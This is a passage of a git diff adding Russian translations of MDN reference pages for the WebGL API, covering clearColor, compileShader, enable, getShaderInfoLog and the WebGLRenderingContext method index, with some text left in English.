+<pre class="brush: js">gl.clearColor(1, 0.5, 0.5, 3);
+</pre>
+
+<p>To get the current clear color, query the <code>COLOR_CLEAR_VALUE</code> constant which returns a {{jsxref("Float32Array")}}.</p>
+
+<pre class="brush: js">gl.getParameter(gl.COLOR_CLEAR_VALUE);
+// Float32Array[1, 0.5, 0.5, 1]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.3", "clearColor")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glClearColor.xml", "glClearColor")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.clearColor")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.clear()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.clearDepth()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.clearStencil()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/compileshader/index.html b/files/ru/web/api/webglrenderingcontext/compileshader/index.html
new file mode 100644
index 0000000000..9ecb9bd735
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/compileshader/index.html
@@ -0,0 +1,81 @@
+---
+title: WebGLRenderingContext.compileShader()
+slug: Web/API/WebGLRenderingContext/compileShader
+translation_of: Web/API/WebGLRenderingContext/compileShader
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong>WebGLRenderingContext.compileShader() </strong>метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> компилирующий исходный код GLSL шейдера в бинарные данные для использования программой  {{domxref("WebGLProgram")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>gl</em>.compileShader</var><var>(shader);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>shader</code></dt>
+ <dd>Вершинный или фрагментный шейдер {{domxref("WebGLShader")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var shader = gl.createShader(gl.VERTEX_SHADER);
+gl.shaderSource(shader, shaderSource);
+gl.compileShader(shader);
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "compileShader")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glCompileShader.xml", "glCompileShader")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>OpenGL man page.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.compileShader")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLRenderingContext.attachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.detachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.shaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/enable/index.html b/files/ru/web/api/webglrenderingcontext/enable/index.html
new file mode 100644
index 0000000000..d7cc40db94
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/enable/index.html
@@ -0,0 +1,139 @@
+---
+title: WebGLRenderingContext.enable()
+slug: Web/API/WebGLRenderingContext/enable
+translation_of: Web/API/WebGLRenderingContext/enable
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Метод <strong><code>WebGLRenderingContext.enable()</code></strong> из <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> активирует определенные возможности WebGL для текущего контекста.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.enable(<var>cap</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>cap</code></dt>
+ <dd>A {{domxref("GLenum")}} specifying which WebGL capability to enable. Possible values:</dd>
+ <dd>
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Константа</th>
+    <th scope="col">Описание</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>gl.BLEND</code></td>
+    <td>Активирует с<span class="short_text" id="result_box" lang="ru"><span>мешение значений цветов вычисленного фрагмента</span></span>. Смотри {{domxref("WebGLRenderingContext.blendFunc()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.CULL_FACE</code></td>
+    <td>Активирует отбраковку полигонов. Смотри {{domxref("WebGLRenderingContext.cullFace()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.DEPTH_TEST</code></td>
+    <td>Активирует сравнения глубин и обновления для буфера глубины. Смотри {{domxref("WebGLRenderingContext.depthFunc()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.DITHER</code></td>
+    <td>Activates dithering of color components before they get written to the color buffer.</td>
+   </tr>
+   <tr>
+    <td><code>gl.POLYGON_OFFSET_FILL</code></td>
+    <td>Activates adding an offset to depth values of polygon's fragments. See {{domxref("WebGLRenderingContext.polygonOffset()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.SAMPLE_ALPHA_TO_COVERAGE</code></td>
+    <td>Activates the computation of a temporary coverage value determined by the alpha value.</td>
+   </tr>
+   <tr>
+    <td><code>gl.SAMPLE_COVERAGE</code></td>
+    <td>Activates ANDing the fragment's coverage with the temporary coverage value. See {{domxref("WebGLRenderingContext.sampleCoverage()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.SCISSOR_TEST</code></td>
+    <td>Activates the scissor test that discards fragments that are outside of the scissor rectangle. See {{domxref("WebGLRenderingContext.scissor()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.STENCIL_TEST</code></td>
+    <td>Activates stencil testing and updates to the stencil buffer. See {{domxref("WebGLRenderingContext.stencilFunc()")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally:
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Constant</th>
+    <th scope="col">Description</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>gl.RASTERIZER_DISCARD</code></td>
+    <td>Primitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage. <code>gl.clear()</code> commands are ignored.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>None.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">gl.enable(gl.DITHER);
+</pre>
+
+<p>To check if a capability is enabled, use the {{domxref("WebGLRenderingContext.isEnabled()")}} method:</p>
+
+<pre class="brush: js">gl.isEnabled(gl.DITHER);
+// true
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.3", "enable")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition for WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glEnable.xml", "glEnable")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the OpenGL ES 2.0 API.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glEnable.xhtml", "glEnable")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Man page of the OpenGL ES 3.0 API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.enable")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.disable()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isEnabled()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html
new file mode 100644
index 0000000000..f05a98534f
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html
@@ -0,0 +1,77 @@
+---
+title: WebGLRenderingContext.getShaderInfoLog()
+slug: Web/API/WebGLRenderingContext/getShaderInfoLog
+translation_of: Web/API/WebGLRenderingContext/getShaderInfoLog
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong>WebGLRenderingContext.getShaderInfoLog</strong> возвращает логи для указаной шейдерной программы {{domxref("WebGLShader")}}. Оно содержит предупреждения, информацию для отладки и информацию о компиляции.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">gl.getShaderInfoLog(shader);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>shader</dt>
+ <dd>Шейдер {{domxref("WebGLShader")}} чьи логи мы запрашиваем.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{domxref("DOMString")}} может содержать диагностические сообщения, предупреждения и другую информацию о последней операции компиляции. Когда {{domxref("WebGLShader")}} объект создан, его информационный журнал будет строкой длинной 0.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Проверить_сообщения_компиляции">Проверить сообщения компиляции</h3>
+
+<pre class="brush: js">/* Загружаем исходный код программы. */
+gl.shaderSource(shader, shaderCode);
+
+/* Компилируем программу. */
+gl.compileShader(shader);
+
+/* Получаем список сообщений */
+var message = gl.getShaderInfoLog(shader);
+
+if (message.length &gt; 0) {
+  /* Сообщение может быть ошибкой или предупреждением */
+  throw message;
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "getShaderInfoLog")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glGetShaderInfoLog.xml", "glGetShaderInfoLog")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.getShaderInfoLog")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}} – использование с <code>gl.COMPILE_STATUS</code> для проверки ошибок компиляции.</li>
+ <li>{{domxref("WebGLRenderingContext.getError()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/index.html b/files/ru/web/api/webglrenderingcontext/index.html
new file mode 100644
index 0000000000..338784a8a1
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/index.html
@@ -0,0 +1,441 @@
+---
+title: WebGLRenderingContext
+slug: Web/API/WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Интерфейс <strong>WebGLRenderingContext </strong>обеспечивает доступ к контексту рендеринга OpenGL ES 2.0 (<strong>OpenGL</strong> for <strong>E</strong>mbedded <strong>S</strong>ystems — OpenGL для встраиваемых систем) для использования его с помощью  HTML {{HTMLElement("canvas")}} элемента.</p>
+
+<p>Чтобы получить объект с помощью этого интерфейса вызовите метод {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} элемена  &lt;canvas&gt; , используя "webgl" в качестве аргумента.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('myCanvas');
+var gl = canvas.getContext('webgl');
+</pre>
+
+<p>После того, как вы  получили  WebGL контекст, вы можете его использовать для рендеринга.</p>
+
+<p> <a href="/en-US/docs/Web/API/WebGL_API/Tutorial" title="WebGL tutorial">WebGL tutorial</a> содержит больше информации, примеров, ссылок на ресурсы которые помогут  начать использовать  WebGL.</p>
+
+<h2 id="Константы">Константы</h2>
+
+<p>Смотрите на <a href="/en-US/docs/Web/API/WebGL_API/Constants">WebGL constants</a>.</p>
+
+<h2 id="WebGL_контекст"> WebGL контекст</h2>
+
+<p>Ниже перечислены свойства и методы которые дают общую информацию и функциональность при работе с WebGL контекстом:</p>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.canvas")}}</dt>
+ <dd> Доступная только для чтения обратная ссылка на {{domxref("HTMLCanvasElement")}}. Может быть  {{jsxref("null")}} если будет применятся в контексте элемента иного типа чем  {{HTMLElement("canvas")}}.</dd>
+ <dt>{{domxref("WebGLRenderingContext.commit()")}} {{experimental_inline}}</dt>
+ <dd>
+ <p>Вставляет окна в первоначальный {{domxref("HTMLCanvasElement")}} , если контекст не привязан к конкретному холсту.</p>
+ </dd>
+ <dt>{{domxref("WebGLRenderingContext.drawingBufferWidth")}}</dt>
+ <dd>Доступная только для чтения ширина текущего буфера отрисовки. Должна совпадать с шириной холста связанного с данным  контекстом.</dd>
+ <dt>{{domxref("WebGLRenderingContext.drawingBufferHeight")}}</dt>
+ <dd>Доступная только для чтения высота текущего буфера отрисовки. Должна совпадать с высотой холста связанного с данным  контекстом.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getContextAttributes()")}}</dt>
+ <dd>Возвращает <code>WebGLContextAttributes объект который содержит атрибуты текущего контекста. Может возвращать </code>{{jsxref("null")}} если контекст утерян.<code> </code></dd>
+ <dt>{{domxref("WebGLRenderingContext.isContextLost()")}}</dt>
+ <dd>Возвращает <code>true</code> если контекст утерян, в противном случае возвращает <code>false</code>.</dd>
+</dl>
+
+<h2 id="Просмотр_и_обрезка">Просмотр и обрезка</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.scissor()")}}</dt>
+ <dd>Устанавливает обрезанный контейнер.</dd>
+ <dt>{{domxref("WebGLRenderingContext.viewport()")}}</dt>
+ <dd>Устанавливает окно просмотра.</dd>
+</dl>
+
+<h2 id="Информация_о_состоянии">Информация о состоянии</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.activeTexture()")}}</dt>
+ <dd>Выбирает активную текстуру.</dd>
+ <dt>{{domxref("WebGLRenderingContext.blendColor()")}}</dt>
+ <dd>Устанавливает параметры смешивания источника и назначения</dd>
+ <dt>{{domxref("WebGLRenderingContext.blendEquation()")}}</dt>
+ <dd> Уравнение смешивания RGB и уравнение альфа-смешивания сводит к одному  уравнению.</dd>
+</dl>
+
+<p><strong>{{domxref("WebGLRenderingContext.blendEquationSeparate()")}}</strong> </p>
+
+<p>Устанавливает уравнение смешивания RGB и уравнение alpha  смешивания  отдельно.</p>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.blendFunc()")}}</dt>
+ <dd>Определяет, какая арифметическая функция используется для смешивания пикселей.</dd>
+ <dt>{{domxref("WebGLRenderingContext.blendFuncSeparate()")}}</dt>
+ <dd>Определяет, какая арифметическая функция используется для смешивания пикселей для RGB и альфа-компонентов по отдельности.</dd>
+ <dt>{{domxref("WebGLRenderingContext.clearColor()")}}</dt>
+ <dd>Задает значения цвета, используемые при очистке цветовых буферов.</dd>
+ <dt>{{domxref("WebGLRenderingContext.clearDepth()")}}</dt>
+ <dd>Задает значение глубины, используемый при очистке буфера глубины.</dd>
+ <dt>{{domxref("WebGLRenderingContext.clearStencil()")}}</dt>
+ <dd>Задает значение шаблона, используемый при очистке буфера шаблона.</dd>
+ <dt>{{domxref("WebGLRenderingContext.colorMask()")}}</dt>
+ <dd>Устанавливает какие цветовые компоненты для включены или выключены при отрисовке или рендеринге на{{domxref("WebGLFramebuffer")}}.</dd>
+ <dt>{{domxref("WebGLRenderingContext.cullFace()")}}</dt>
+ <dd>Определяет, будет видима или нет передняя- и / или обратная сторона многоугольника.</dd>
+ <dt>{{domxref("WebGLRenderingContext.depthFunc()")}}</dt>
+ <dd>Определяет функцию, которая сравнивает входящую глубину пикселей к текущему значению глубины буфера.</dd>
+ <dt>{{domxref("WebGLRenderingContext.depthMask()")}}</dt>
+ <dd>Включает или выключает запись в буфер глубины.</dd>
+ <dt>{{domxref("WebGLRenderingContext.depthRange()")}}</dt>
+ <dd>Определяет диапазон отображения глубины согласно стандартных координат  к координатам окна устройства.</dd>
+ <dt>{{domxref("WebGLRenderingContext.disable()")}}</dt>
+ <dd>Отключает конкретные возможности WebGL.</dd>
+ <dt>{{domxref("WebGLRenderingContext.enable()")}}</dt>
+ <dd>Включает конкретные возможности WebGL.</dd>
+ <dt>{{domxref("WebGLRenderingContext.frontFace()")}}</dt>
+ <dd>Определяет видимость  передней или задней стороны  многоугольника, при его вращении.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getParameter()")}}</dt>
+ <dd>Возвращает значение переданного параметра по имени.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getError()")}}</dt>
+ <dd>Возвращает информацию об ошибках.</dd>
+ <dt>{{domxref("WebGLRenderingContext.hint()")}}</dt>
+ <dd>Указывает подсказки для определенного поведения. Интерпретация этих подсказок зависит от реализации.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isEnabled()")}}</dt>
+ <dd>Проверяет,  включена или нет конкретная способность WebG.</dd>
+ <dt>{{domxref("WebGLRenderingContext.lineWidth()")}}</dt>
+ <dd>Устанавливает ширину  растровой линии.</dd>
+ <dt>{{domxref("WebGLRenderingContext.pixelStorei()")}}</dt>
+ <dd>Определяет режимы хранилища пикселей</dd>
+ <dt>{{domxref("WebGLRenderingContext.polygonOffset()")}}</dt>
+ <dd>Определяет факторы масштабирования  и единицы для расчета значения глубины.</dd>
+ <dt>{{domxref("WebGLRenderingContext.sampleCoverage()")}}</dt>
+ <dd>Определяет составные параметры  для сглаживания эффектов.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilFunc()")}}</dt>
+ <dd>Sets the both front and back function and reference value for stencil testing.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilFuncSeparate()")}}</dt>
+ <dd>Sets the front and/or back function and reference value for stencil testing.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilMask()")}}</dt>
+ <dd>Controls enabling and disabling of both the front and back writing of individual bits in the stencil planes.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilMaskSeparate()")}}</dt>
+ <dd>Controls enabling and disabling of front and/or back writing of individual bits in the stencil planes.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilOp()")}}</dt>
+ <dd>Sets both the front and back-facing stencil test actions.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilOpSeparate()")}}</dt>
+ <dd>Sets the front and/or back-facing stencil test actions.</dd>
+</dl>
+
+<h2 id="Buffers">Buffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindBuffer()")}}</dt>
+ <dd>Binds a <code>WebGLBuffer</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.bufferData()")}}</dt>
+ <dd>Updates buffer data.</dd>
+ <dt>{{domxref("WebGLRenderingContext.bufferSubData()")}}</dt>
+ <dd>Updates buffer data starting at a passed offset.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createBuffer()")}}</dt>
+ <dd>Creates a <code>WebGLBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteBuffer()")}}</dt>
+ <dd>Deletes a <code>WebGLBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getBufferParameter()")}}</dt>
+ <dd>Returns information about the buffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isBuffer()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed buffer is valid.</dd>
+</dl>
+
+<h2 id="Framebuffers">Framebuffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindFramebuffer()")}}</dt>
+ <dd>Binds a <code>WebGLFrameBuffer</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.checkFramebufferStatus()")}}</dt>
+ <dd>Returns the status of the framebuffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createFramebuffer()")}}</dt>
+ <dd>Creates a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteFramebuffer()")}}</dt>
+ <dd>Deletes a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.framebufferRenderbuffer()")}}</dt>
+ <dd>Attaches a <code>WebGLRenderingBuffer</code> object to a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.framebufferTexture2D()")}}</dt>
+ <dd>Attaches a textures image to a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getFramebufferAttachmentParameter()")}}</dt>
+ <dd>Returns information about the framebuffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isFramebuffer()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLFrameBuffer</code> object is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.readPixels()")}}</dt>
+ <dd>Reads a block of pixels from the <code>WebGLFrameBuffer</code>.</dd>
+</dl>
+
+<h2 id="Renderbuffers">Renderbuffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindRenderbuffer()")}}</dt>
+ <dd>Binds a <code>WebGLRenderBuffer</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createRenderbuffer()")}}</dt>
+ <dd>Creates a <code>WebGLRenderBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteRenderbuffer()")}}</dt>
+ <dd>Deletes a <code>WebGLRenderBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getRenderbufferParameter()")}}</dt>
+ <dd>Returns information about the renderbuffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isRenderbuffer()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLRenderingBuffer</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.renderbufferStorage()")}}</dt>
+ <dd>Creates a renderbuffer data store.</dd>
+</dl>
+
+<h2 id="Textures">Textures</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindTexture()")}}</dt>
+ <dd>Binds a <code>WebGLTexture</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.compressedTexImage2D()")}}</dt>
+ <dd>Specifies a 2D texture image in a compressed format.</dd>
+ <dt>{{domxref("WebGLRenderingContext.compressedTexSubImage2D()")}}</dt>
+ <dd>Specifies a 2D texture sub-image in a compressed format.</dd>
+ <dt>{{domxref("WebGLRenderingContext.copyTexImage2D()")}}</dt>
+ <dd>Copies a 2D texture image.</dd>
+ <dt>{{domxref("WebGLRenderingContext.copyTexSubImage2D()")}}</dt>
+ <dd>Copies a 2D texture sub-image.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createTexture()")}}</dt>
+ <dd>Creates a <code>WebGLTexture</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteTexture()")}}</dt>
+ <dd>Deletes a <code>WebGLTexture</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.generateMipmap()")}}</dt>
+ <dd>Generates a set of mipmaps for a <code>WebGLTexture</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getTexParameter()")}}</dt>
+ <dd>Returns information about the texture.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isTexture()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLTexture</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texImage2D()")}}</dt>
+ <dd>Specifies a 2D texture image.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texSubImage2D()")}}</dt>
+ <dd>Updates a sub-rectangle of the current <code>WebGLTexture</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameterf()")}}</dt>
+ <dd>Sets texture parameters.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameteri()")}}</dt>
+ <dd>Sets texture parameters.</dd>
+</dl>
+
+<h2 id="Programs_and_shaders">Programs and shaders</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.attachShader()")}}</dt>
+ <dd>Attaches a <code>WebGLShader</code> to a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.bindAttribLocation()")}}</dt>
+ <dd>Binds a generic vertex index to a named attribute variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.compileShader()")}}</dt>
+ <dd>Compiles a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createProgram()")}}</dt>
+ <dd>Creates a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createShader()")}}</dt>
+ <dd>Creates a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteProgram()")}}</dt>
+ <dd>Deletes a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteShader()")}}</dt>
+ <dd>Deletes a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.detachShader()")}}</dt>
+ <dd>Detaches a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</dt>
+ <dd>Returns a list of <code>WebGLShader</code> objects attached to a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</dt>
+ <dd>Returns information about the program.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</dt>
+ <dd>Returns the information log for a <code>WebGLProgram</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</dt>
+ <dd>Returns information about the shader.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</dt>
+ <dd>Returns a <code>WebGLShaderPrecisionFormat</code> object describing the precision for the numeric format of the shader.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</dt>
+ <dd>Returns the information log for a <code>WebGLShader</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderSource()")}}</dt>
+ <dd>Returns the source code of a <code>WebGLShader</code> as a string.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isProgram()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLProgram</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isShader()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLShader</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.linkProgram()")}}</dt>
+ <dd>Links the passed <code>WebGLProgram</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.shaderSource()")}}</dt>
